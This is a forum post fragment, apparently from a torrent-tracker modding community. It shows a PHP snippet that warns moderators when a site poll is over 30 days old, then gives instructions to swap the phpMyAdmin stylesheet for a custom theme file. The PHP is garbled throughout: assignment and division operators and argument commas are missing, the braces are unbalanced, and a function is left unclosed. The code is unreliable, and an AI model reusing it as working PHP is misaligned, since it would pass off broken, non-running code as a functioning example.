"</td></tr></table><br>\n"); 
      } 
      if(
get_user_class() >= UC_MODERATOR){ 
    
$days floor((floor((gmtime() - sql_timestamp_to_unix_timestamp($arr["added"])) / 3600)) / 24); 
      
$max_days 30
     if (
$days >= $max_days
       { 
    print(
"<br><table border=0 cellspacing=0 cellpadding=10><tr><td style=\"background:#CC0000;color:#999999; padding:10px\">\n"); 
    print(
"<b><a href=index.php#poll>The current poll is $max_days days old and should be changed! </a></b>"); 
    print(
"</td></tr></table><br>\n"); 
       } 
       } 
       } 



//--------------------------------- 
//---- Login Attempts 
//--------------------------------- 

function mksize1($bytes){ 
return 
number_format($bytes 10242); 
    

?>

in phpmyadmin replace the default stylesheet with styles/skTrdie.css

The statusbar has been changed but you can modify to looks like that from Black Torrents.

Put the styles folder from the downloaded attachement in your root and enjoy
__________________
http://www.bvlist.com/images/avatars/signaturepics/sigpic16443_2.gif
Reply With Quote